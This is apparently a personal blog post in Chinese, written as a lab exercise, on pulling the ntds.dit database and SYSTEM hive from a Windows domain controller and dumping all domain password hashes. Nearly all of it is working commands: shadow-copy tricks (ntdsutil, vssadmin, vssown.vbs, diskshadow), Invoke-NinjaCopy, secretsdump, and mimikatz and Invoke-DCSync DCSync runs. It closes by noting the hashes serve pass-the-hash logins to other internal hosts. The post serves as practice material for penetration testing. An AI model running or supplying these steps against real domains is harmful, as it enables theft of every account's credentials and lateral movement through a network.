導出 ntds.dit /SYSTEM 文件/域散列值
導出 ntds.dit /SYSTEM 文件/域散列值
前言 :
抽空花了點時間學習域滲透方面知識,整理了一下 ntds.dit 提取方式以及如何提取其中 hash 方式,覺得還是多練習靶機進步最快,實戰太少遇到 AD。
內文 :
注 :
一般情況擁有Administrator權限,也無法讀取域控制器中的 C:\Windows\NTDS\ntds.dit 文件,
包含用戶名、散列值、組、GPP、OU 等活動目錄相關信息。
實作環境 :
Windows Server 2016 (AD) : 192.168.109.130
kali : 192.168.109.128
卷影拷貝服務提取 ntds.dit :
一般系統運維人員會利用卷影拷貝服務進行導出,主要用於備份和恢復。
ntdsutil.exe 提取 :
默認安裝在域控制器上,可以在域控制器上直接操作,通過域內機器在域控制器上遠程操作,支持 Windows Server 2003、Windows Server 2008、Windows Server 2012。
創建快照。
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {6dfd2ca7-328d-4c8a-a52d-d18924afef5b}" quit quit
複製 ntds.dit。
copy C:\\$SNAP_202208271140_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
成功複製到 C:\ 中。
創建C盤的捲影拷貝。
vssadmin create shadow /for=c:
創建的捲影拷貝中將ntds.dit複製出來。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\ntds.dit
成功複製。
vssown.vbs 提取 :
https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
啟動卷影拷貝服務。
cscript C:\Users\Administrator\Desktop\vssown.vbs /start
創建一個C盤的捲影拷貝。
cscript C:\Users\Administrator\Desktop\vssown.vbs /create c
列出當前卷影拷貝。
cscript C:\Users\Administrator\Desktop\vssown.vbs /list
複製 ntds.dit。copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit
以下指令保存為 command.txt。
set context persistent nowriters //設置卷影拷貝
add volume c: alias someAlias //添加卷
create //創建快照
expose %someAlias% z: //分配虛擬磁盤盤符
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit //將ntds.dit複製到C盤中
delete shadows all //刪除所有快照
list shadows all //列出系統中的捲影拷貝
reset //退出
exit
執行命令。
diskshadow /s C:\\command.txt
成功複製。
PowerShell 提取 ntds.dit
PowerSploit(Invoke-NinjaCopy)腳本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
匯入腳本進行複制。
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"
成功複製。
reg save hklm\system c:\system.hive
成功導出 system.hive。
導出 Ntds.dit 散列值
Impacket(secretsdump)
前提 :
必須獲取到Ntds.dit和SYSTEM這兩個文件。
在相同目錄下執行。
python3 secretsdump.py -system /home/kali/Desktop/system.hive -ntds /home/kali/Desktop/ntds.dit LOCAL
在線提取
利用 dcsync 獲取提取 Ntds.dit 中的哈希
注 :
域名要更改
在域內任意一台主機上運行 mimikatz 並執行命令。
lsadump::dcsync /domain:tdslab.local /all /csv
PowerShell(Invoke-DCSync.ps1) 腳本
https://gist.githubusercontent.com/monoxgas/9d238accd969550136db/raw/7806cc26744b6025e8f1daf616bc359cb6a11965/Invoke-DCSync.ps1
在域內任何一台主機上面執行如下命令。
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 導出域內所有用戶的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 導出域內 administrator 帳戶 hash
導出域內所有用戶的 hash :
除了上述這幾種手法,我也有嘗試利用 meterpreter 模塊進行 dump 域散列值,不過失敗QQ 不過還是親手實作一次比較了解,一邊實作一邊實戰,學的才比較快,上述之打下 AD 之後要做的事情,方便進行 PTH 登入其它內網主機 XD。
留言
張貼留言